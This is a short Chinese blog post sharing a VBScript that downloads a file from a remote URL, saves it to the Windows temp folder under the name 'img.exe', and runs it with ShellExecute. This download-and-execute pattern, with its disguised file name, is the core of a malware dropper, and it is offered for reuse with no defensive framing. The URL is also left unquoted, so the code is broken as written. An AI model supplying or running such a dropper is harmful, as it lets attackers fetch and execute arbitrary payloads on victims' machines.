我是靠谱客的博主 优秀烧鹅,这篇文章主要介绍下载文件到本地运行的vbs,现在分享给大家,希望可以做个参考。

复制代码 代码如下:

'on error resume next
dl = http://www.uoften.com/index.htm '这是要下载的文件的路径
str="Microsoft.XMLHTTP"
Set x = CreateObject(str)
Set x = CreateObject(str)
set S = createobject("adodb.stream")
S.type = 1
x.Open "GET", dl, False
x.Send()
fname1="img.exe"
set F = createobject("Scripting.FileSystemObject")
set tmp = F.GetSpecialFolder(2) '缓存
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
msgbox fname1
S.close
set Q = createobject("Shell.Application")
Q.ShellExecute fname1

最后

以上就是优秀烧鹅最近收集整理的关于下载文件到本地运行的vbs的全部内容,更多相关下载文件到本地运行内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(181)

评论列表共有 0 条评论

立即
投稿
返回
顶部